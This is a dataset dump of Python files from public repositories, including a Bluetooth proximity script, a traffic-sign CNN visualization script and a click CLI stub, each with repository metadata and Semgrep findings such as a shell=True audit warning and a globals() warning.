[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_674f623c58e459f7_ef673789", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 5, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/674f623c58e459f7.py", "start": {"line": 14, "col": 5, "offset": 328}, "end": {"line": 14, "col": 66, "offset": 389}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_674f623c58e459f7_305a9718", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 21, "line_end": 21, "column_start": 5, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/674f623c58e459f7.py", "start": {"line": 21, "col": 5, "offset": 613}, "end": {"line": 21, "col": 50, "offset": 658}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_674f623c58e459f7_43456df9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 5, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/674f623c58e459f7.py", "start": {"line": 24, "col": 5, "offset": 718}, "end": {"line": 24, "col": 45, "offset": 758}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "", "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 14, 21, 24 ]
[ 14, 21, 24 ]
[ 5, 5, 5 ]
[ 66, 50, 45 ]
[ "", "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function", "`return` only makes sense inside a function" ]
[ 5, 5, 5 ]
[ "", "", "" ]
[ "", "", "" ]
Post.py
/stablogen/Post.py
iguessthislldo/stablogen
MIT
2024-11-18T19:11:47.990876+00:00
1,677,595,148,000
b7e89f481982b05cb185314a461e40ee6ec37c27
3
{ "blob_id": "b7e89f481982b05cb185314a461e40ee6ec37c27", "branch_name": "refs/heads/master", "committer_date": 1677595148000, "content_id": "ed0d92bc2a439d45d05234af0b41939d6b49a8a7", "detected_licenses": [ "MIT" ], "directory_id": "ab218a8c6e1d994c5eae3f6abb5940a4a2d46fe3", "extension": "py", "filename": "proximity.py", "fork_events_count": 29, "gha_created_at": 1542356878000, "gha_event_created_at": 1554892262000, "gha_language": null, "gha_license_id": "MIT", "github_id": 157836329, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2251, "license": "MIT", "license_type": "permissive", "path": "/examples/bluetooth/proximity.py", "provenance": "stack-edu-0054.json.gz:569346", "repo_name": "datacentricdesign/wheelchair-design-platform", "revision_date": 1677595148000, "revision_id": "da3ea98fe5b32caa9d52e231a416f63beab9e2d8", "snapshot_id": "a8b9ab925b00f8f254f3fe4de2a193e5d91fa042", "src_encoding": "UTF-8", "star_events_count": 7, "url": "https://raw.githubusercontent.com/datacentricdesign/wheelchair-design-platform/da3ea98fe5b32caa9d52e231a416f63beab9e2d8/examples/bluetooth/proximity.py", "visit_date": "2023-03-05T04:49:24.712097" }
3.25
stackv2
from subprocess import Popen, PIPE # Necessary modules ready_for_rssi = False command = "btmon" # command for scanning uuid = "" # uuid of beacon to scan threshold = 0 # threshold for proximity """------------------------------------------------------- run function opens up a shell process and runs command in it, capturing its stdout, one line at a time. -------------------------------------------------------""" def run(command): process = Popen(command, stdout=PIPE, shell=True) while True: line = process.stdout.readline().rstrip() if not line: break yield line """------------------------------------------------------- parse function checks to see if sub_string argument is in input string, and if it is, returns false -------------------------------------------------------""" def parse(input_str, sub_str): if sub_str in input_str: return(True) else: return(False) """------------------------------------------------------- remove rssi, and print it -------------------------------------------------------""" def get_rssi(input_str): # splitting string at rssi global ready_for_rssi lhs, rhs = input_str.split("RSSI: ", 1) print("Command: " + lhs + rhs) rssi_value = rhs.split()[0] # Get first element of # split string composed by elements between spaces # of rhs string print("RSSI: " + rssi_value) ready_for_rssi = False return(rssi_value) """------------------------------------------------------- If file is the main one being run, call run function and iterate over each stdout line. if line is of uuid start looing for line with RSSI. Once its found, it is retrieved, and it begins to look for uuid again -------------------------------------------------------""" if __name__ == "__main__": for line in run(command): if parse(str(line), str(uuid)) and not(ready_for_rssi): ready_for_rssi = True if ready_for_rssi and ("RSSI: " in str(line)): rssi_value = get_rssi(str(line)) if(int(rssi_value) >= threshold): print("You are within your threshold of the beacon!") continue elif ready_for_rssi and not ("RSSI: " in line): continue
70
31.16
63
14
480
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f3901ddbc60162ed_34c28bce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 15, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/f3901ddbc60162ed.py", "start": {"line": 14, "col": 15, "offset": 467}, "end": {"line": 14, "col": 54, "offset": 506}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_f3901ddbc60162ed_05154233", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 49, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/f3901ddbc60162ed.py", "start": {"line": 14, "col": 49, "offset": 501}, "end": {"line": 14, "col": 53, "offset": 505}, "extra": {"message": "Found 'subprocess' function 'Popen' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 14, 14 ]
[ 14, 14 ]
[ 15, 49 ]
[ 54, 53 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess' functi...
[ 7.5, 7.5 ]
[ "LOW", "HIGH" ]
[ "HIGH", "LOW" ]
proximity.py
/examples/bluetooth/proximity.py
datacentricdesign/wheelchair-design-platform
MIT
2024-11-18T19:11:50.446868+00:00
1,609,520,116,000
fe1fa2de13792a09ee317e1a450643dcc9be7f21
3
{ "blob_id": "fe1fa2de13792a09ee317e1a450643dcc9be7f21", "branch_name": "refs/heads/main", "committer_date": 1609520116000, "content_id": "580fdc8fc6aeaeeb2bc666eb87e9c357b38d71e3", "detected_licenses": [ "MIT" ], "directory_id": "db21579153245f5424f5a5b80a10b318291b8ebf", "extension": "py", "filename": "visualization_with_nn.py", "fork_events_count": 0, "gha_created_at": 1606947411000, "gha_event_created_at": 1608048727000, "gha_language": null, "gha_license_id": "MIT", "github_id": 318006159, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15677, "license": "MIT", "license_type": "permissive", "path": "/code/visualization_with_nn.py", "provenance": "stack-edu-0054.json.gz:569380", "repo_name": "RobinMaas95/GTSRB_Visualization", "revision_date": 1609520116000, "revision_id": "fa837ff94e089a936ef4f4418970d262b35f70b6", "snapshot_id": "f70bc1ed6c02d43a6ce17557e01c5c3b7d6bf091", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/RobinMaas95/GTSRB_Visualization/fa837ff94e089a936ef4f4418970d262b35f70b6/code/visualization_with_nn.py", "visit_date": "2023-02-07T15:15:10.864048" }
2.5625
stackv2
""" Implementation of multiple visualization algorithms. Uses the following repos: - Repo: nn_interpretability - Autor: hans66hsu - URL: https://github.com/hans66hsu/nn_interpretability - Repo: - Author: Yuchi Ishikawa - URL: https://github.com/yiskw713/SmoothGradCAMplusplus """ import argparse import os import sys import warnings from itertools import combinations from pathlib import Path CURRENT = os.path.dirname(os.path.abspath(__file__)) sys.path.append(str(Path(CURRENT).joinpath("pytorch_cnn_visualizations", "src"))) import numpy as np import torch from matplotlib import pyplot as plt from model import LitModel from nn_interpretability.interpretation.am.general_am import ActivationMaximization from nn_interpretability.interpretation.saliency_map.saliency_map import SaliencyMap from PIL import Image from skimage.color import rgb2gray from skimage.io import imsave from SmoothGradCAMplusplus.cam import GradCAM, SmoothGradCAMpp from SmoothGradCAMplusplus.utils.visualize import reverse_normalize, visualize from torch.nn import functional as F from torchvision import transforms from torchvision.utils import save_image from tqdm import tqdm def parse_args(vis_list): """ Parses args Parameters ---------- vis_list : str Possible visualizations Returns ------- argsparse.Namespace Namespace with all args """ # Handle args parsing parser = argparse.ArgumentParser(description="Calls visualization algorithms") parser.add_argument( "--dest", dest="dest", metavar="Destination", required=True, type=str, help="Destination path, subfolder structure will be restored", ) parser.add_argument( "--filetype", dest="filetype", metavar="Filetype", type=str, default="ppm", help="File type of the images inside the subfolders (without '.'). By default 'ppm'", ) parser.add_argument( "--model", metavar="Model", dest="model", type=str, required=True, help="Path to model file (.pt)", ) parser.add_argument( "--num", metavar="Number Images", dest="num_images", type=int, default=50, help="How many images per folder should be (randomly) selected (default: 50)", ) parser.add_argument( "--src", dest="src", metavar="Source", type=str, help="Path to source directory, script runs over subfolders (default: current Directory)", ) parser.add_argument( "--vis", metavar="Visualization", dest="vis", type=str, help="Visualization algorithems that should be used (default: all). Choose from: " + str(vis_list), ) parser.add_argument("--mean", dest="mean", nargs="+", required=True) parser.add_argument("--std", dest="std", default=None, nargs="+", required=True) args = parser.parse_args() # Set source if args.src is None: Path(os.getcwd()) else: Path(args.src) # Set vis args.vis = args.vis.split("/") # Cast mean/std to floag args.mean = [float(i) for i in args.mean] args.std = [float(i) for i in args.std] return args def get_algo_combinations(algos: list) -> str: """ Creates String with all possible combinations of the implemented visualization algorithms Parameters ---------- algos : list List with all visualization algorithms Returns ------- str All possible combinations """ subsets = [] for L in range(0, len(algos) + 1): for subset in combinations(algos, L): subsets.append(subset) subsets_str = [] for combination in subsets: if len(combination) > 0: combination_str = "" for el in combination: combination_str += el if len(combination_str) == 0 else "/" + el subsets_str.append(combination_str) return subsets_str def prep_image(org_image: str, mean: list, std: list) -> torch.Tensor: """ Prepares image. This includes the normalization and the transformation into a tensor Parameters ---------- org_image : str Path to original image mean : list List with mean values for the rgb channels std : list List with std values for rgb channels Returns ------- tensor Prepared image tensor """ ex_image = Image.open(org_image) normalize = transforms.Normalize(mean, std) preprocess = transforms.Compose([transforms.ToTensor(), normalize]) tensor = preprocess(ex_image) prep_img = tensor.unsqueeze(0) return prep_img def activation_maximation( model: LitModel, target_class: str, org_image: torch.Tensor, dest: str, mean: list, std: list, device: str, ) -> None: """ Performs activation maximation for the passed class Parameters ---------- model : LitModel Model for activation maximation target_class : str Target class org_image : torch.Tensor Mean image of dataset dest : str Path to destination folder mean : list Mean values for all three channels of the train dataset std : list Mean values for all three channels of the train dataset device : str Device that should be used ('cpu'/'cuda') """ # Params img_shape = (3, 48, 48) lr = 0.001 reg_term = 1e-2 epochs = 1000 threshold = 0.995 # Random image as start start_img = torch.rand((1, 3, 48, 48)).to(device) mean_img = org_image # Mean was calculated in mean and passed as org_image # Preprocess normalize = transforms.Normalize(mean, std) transforms.Compose([transforms.ToTensor(), normalize]) # Get Interpreter interpretor = ActivationMaximization( model=model, classes=[], preprocess=None, input_size=img_shape, start_img=start_img, class_num=int(target_class), lr=lr, reg_term=reg_term, class_mean=mean_img, epochs=epochs, threshold=threshold, ) end_point = interpretor.interpret() # Calc score scores = model(end_point.to(device)).to(device) prob = torch.nn.functional.softmax(scores, 1)[0][int(target_class)] * 100 print(f"Class {target_class}: {prob}") # Restore Image (unnormalize) x_restore = end_point.reshape(img_shape) * torch.tensor(std).view( 3, 1, 1 ) + torch.tensor(mean).view(3, 1, 1) image_restored = x_restore.permute(1, 2, 0) # Save Image image_dest = Path(dest).joinpath("activation_maximation", target_class) image_dest.parent.mkdir(exist_ok=True, parents=True) plt.imsave(f"{image_dest}.ppm", image_restored.numpy()) def salience_map( model: LitModel, _, org_image: torch.tensor, dest: str, mean: list, std: list, device: str, ) -> None: """ Performs saliency map Parameters ---------- model : LitModel Model for activation maximation target_class : _ Not needed org_image : torch.Tensor Mean image of dataset dest : str Path to destination folder mean : list Mean values for all three channels of the train dataset std : list Mean values for all three channels of the train dataset device : str Device that should be used ('cpu'/'cuda') """ # Prep image prep_img = prep_image(org_image, mean, std) prep_img = prep_img.to(device) # Create SaliencyMap interpretor = SaliencyMap(model, [], [48, 48], None) # Creat Map endpoint = interpretor.interpret(prep_img) # Save map image_dest = Path(dest).joinpath( "heatmap_saliency", org_image.parents[0].name, org_image.name ) image_dest.parents[0].mkdir(parents=True, exist_ok=True) heatmap = 255 * endpoint.squeeze() heatmap = heatmap.cpu() heatmap = rgb2gray(heatmap) grayscale_uint8 = heatmap.astype(np.uint8) imsave(str(image_dest), grayscale_uint8) # plt.imsave(str(image_dest), endpoint.cpu().squeeze(0), cmap="jet") def grad_cam( model: LitModel, _, org_image: torch.tensor, dest: str, mean: list, std: list, device: str, ) -> None: """ Performs GradCam Parameters ---------- model : LitModel Model for activation maximation target_class : _ Not needed org_image : torch.Tensor Mean image of dataset dest : str Path to destination folder mean : list Mean values for all three channels of the train dataset std : list Mean values for all three channels of the train dataset device : str Device that should be used ('cpu'/'cuda') """ # Prep image prep_img = prep_image(org_image, mean, std) prep_img = prep_img.to(device) # Create SmoothGradCAM wrapped_model = GradCAM(model, model.features[13]) cam, _ = wrapped_model(prep_img) img = reverse_normalize(prep_img) # Create heatmap _, _, H, W = img.shape cam = F.interpolate(cam, size=(H, W), mode="bilinear", align_corners=False) heatmap = 255 * cam.squeeze() heatmap = heatmap.cpu() # Save heatmap image_dest = Path(dest).joinpath( "heatmap_grad_cam", org_image.parents[0].name, org_image.name ) image_dest.parents[0].mkdir(parents=True, exist_ok=True) heatmap = rgb2gray(heatmap) grayscale_uint8 = heatmap.astype(np.uint8) imsave(image_dest, grayscale_uint8) # Save image (overlay) heatmap = visualize(img.cpu(), cam.cpu()) image_dest = Path(dest).joinpath( "grad_cam", org_image.parents[0].name, org_image.name ) image_dest.parents[0].mkdir(parents=True, exist_ok=True) save_image(heatmap, str(image_dest)) def grad_cam_plus_plus( model: LitModel, _, org_image: torch.tensor, dest: str, mean: list, std: list, device: str, ) -> None: """ Performs GradCam++ Parameters ---------- model : LitModel Model for activation maximation target_class : _ Not needed org_image : torch.Tensor Mean image of dataset dest : str Path to destination folder mean : list Mean values for all three channels of the train dataset std : list Mean values for all three channels of the train dataset device : str Device that should be used ('cpu'/'cuda') """ # Prep image prep_img = prep_image(org_image, mean, std) prep_img = prep_img.to(device) # Create SmoothGradCAMpp wrapped_model = SmoothGradCAMpp( model, model.features[13], n_samples=25, stdev_spread=0.15 ) cam, _ = wrapped_model(prep_img) img = reverse_normalize(prep_img) # Create heatmap _, _, H, W = img.shape cam = F.interpolate(cam, size=(H, W), mode="bilinear", align_corners=False) heatmap = 255 * cam.squeeze() heatmap = heatmap.cpu() # Save heatmap image_dest = Path(dest).joinpath( "heatmap_grad_cam_pp", org_image.parents[0].name, org_image.name ) image_dest.parents[0].mkdir(parents=True, exist_ok=True) heatmap = rgb2gray(heatmap) grayscale_uint8 = heatmap.astype(np.uint8) imsave(image_dest, grayscale_uint8) # Save image (overlay) heatmap = visualize(img.cpu(), cam.cpu()) image_dest = Path(dest).joinpath( "grad_cam_pp", org_image.parents[0].name, org_image.name ) image_dest.parents[0].mkdir(parents=True, exist_ok=True) save_image(heatmap, str(image_dest)) def generate_mean_image(images: list, device: str) -> torch.tensor: """ Generates mean images based on passed images Parameters ---------- images : list List with image paths device : str 'cpu' or 'cuda' Returns ------- torch.tensor Mean image """ image_sum = torch.zeros(images[0].size()) for image in images: image_sum += image mean_image = (image_sum / len(images)).to(device) mean_image = (mean_image - mean_image.min()) / (mean_image.max() - mean_image.min()) return mean_image.to(device) def main(args, vis_to_function, device): """ Calls visualization method Parameters ---------- args : argparse.namespace Namespace with argumetns vis_to_function : str Target visualization method device : str 'cpu' or 'cuda' """ # Load model model = LitModel.load_from_checkpoint( args.model, mean=args.mean, std=args.std, train_dataset=None, test_dataset=args.src, ) model.to(device) model.eval() # Loop over all subfolders (label) num_dir = len([x for x in Path(args.src).iterdir() if x.is_dir()]) for idx, directory in tqdm( enumerate([x for x in Path(args.src).iterdir() if x.is_dir()]), total=num_dir ): # Get target class target_class = directory.name # Select random images files = [x for x in directory.glob(f"*.{args.filetype}") if x.is_file()] # Run passed algos over the selected images for algo in args.vis: if algo == "Activation Maximation": # Because AM acts on the complete class, we wont call the method on each image # Instead of that, we create the class mean and pass that into the method data_list = [] for image in files: # Generate Tensors prep_img = prep_image(image, args.mean, args.std) data_list.append(prep_img) class_mean_img = generate_mean_image(data_list, device).to(device) activation_maximation( model, directory.name, class_mean_img, args.dest, args.mean, args.std, device, ) else: for image in files: globals()[vis_to_function.get(algo)]( model, target_class, image, args.dest, args.mean, args.std, device, ) if __name__ == "__main__": warnings.filterwarnings("ignore") device = torch.device("cuda" if torch.cuda.is_available() else "cpu") possible_algos = ["Activation Maximation", "Saliency", "GradCam", "GradCam++"] vis_to_function = { "GradCam": "grad_cam", "GradCam++": "grad_cam_plus_plus", "Saliency": "salience_map", "Activation Maximation": "activation_maximation", } algo_combinations = get_algo_combinations(possible_algos) args = parse_args(algo_combinations) main(args, vis_to_function, device)
556
26.2
98
18
3,554
python
[{"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_7911f1683666d755_23297473", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 533, "line_end": 533, "column_start": 21, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/7911f1683666d755.py", "start": {"line": 533, "col": 21, "offset": 14260}, "end": {"line": 533, "col": 57, "offset": 14296}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-96" ]
[ "rules.python.lang.security.dangerous-globals-use" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 533 ]
[ 533 ]
[ 21 ]
[ 57 ]
[ "A03:2021 - Injection" ]
[ "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
visualization_with_nn.py
/code/visualization_with_nn.py
RobinMaas95/GTSRB_Visualization
MIT
2024-11-18T19:11:51.939312+00:00
1,575,748,829,000
74d4e5325e69a2dcf6b40f1a099c1e2f002df8d8
2
{ "blob_id": "74d4e5325e69a2dcf6b40f1a099c1e2f002df8d8", "branch_name": "refs/heads/master", "committer_date": 1575748829000, "content_id": "2503605834dc98c10a524e15a74e441e2ea2866b", "detected_licenses": [ "MIT" ], "directory_id": "acaa8ca9cb8e2b41e38af894c68e67154f48d27e", "extension": "py", "filename": "__main__.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 222293954, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 771, "license": "MIT", "license_type": "permissive", "path": "/freeze_poetry/__main__.py", "provenance": "stack-edu-0054.json.gz:569401", "repo_name": "mvwicky/freeze-poetry", "revision_date": 1575748829000, "revision_id": "675021796f6f1d5cae44251fd0324922136d4011", "snapshot_id": "627c99a39d86d7a29d7f57151f52789fa32c5c21", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/mvwicky/freeze-poetry/675021796f6f1d5cae44251fd0324922136d4011/freeze_poetry/__main__.py", "visit_date": "2020-09-12T03:48:06.775721" }
2.5
stackv2
import os from typing import Callable import click from funcy import compose def create_cli(f: Callable = None): if f is None: def inner(func: Callable): return create_cli(func) return inner wrappers = [ click.option("--dev/--prod", "-d/-p", "mode", default=True), click.option( "--force/--no-force", "-f/ ", default=False, help="Build even if not out of date.", ), click.argument( "root", type=click.Path(file_okay=False), default=os.getcwd() ), click.command(context_settings={"max_content_width": 100}), ] return compose(*wrappers)(f) @create_cli() def cli(): pass if __name__ == "__main__": cli()
38
19.29
73
13
175
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.pass-body-fn_c9961021eef6db1a_02f23a6d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.pass-body-fn", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "`pass` is the body of function cli. Consider removing this or raise NotImplementedError() if this is a TODO", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 34, "column_start": 1, "column_end": 9, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.pass-body-fn", "path": "/tmp/tmpb8jm_z1l/c9961021eef6db1a.py", "start": {"line": 32, "col": 1, "offset": 698}, "end": {"line": 34, "col": 9, "offset": 731}, "extra": {"message": "`pass` is the body of function cli. Consider removing this or raise NotImplementedError() if this is a TODO", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.best-practice.pass-body-fn" ]
[ "best-practice" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 32 ]
[ 34 ]
[ 1 ]
[ 9 ]
[ "" ]
[ "`pass` is the body of function cli. Consider removing this or raise NotImplementedError() if this is a TODO" ]
[ 5 ]
[ "" ]
[ "" ]
__main__.py
/freeze_poetry/__main__.py
mvwicky/freeze-poetry
MIT
2024-11-18T19:11:52.604000+00:00
1,466,075,427,000
35424c8147c33cbb94ba41f8afde589d6da9dda2
2
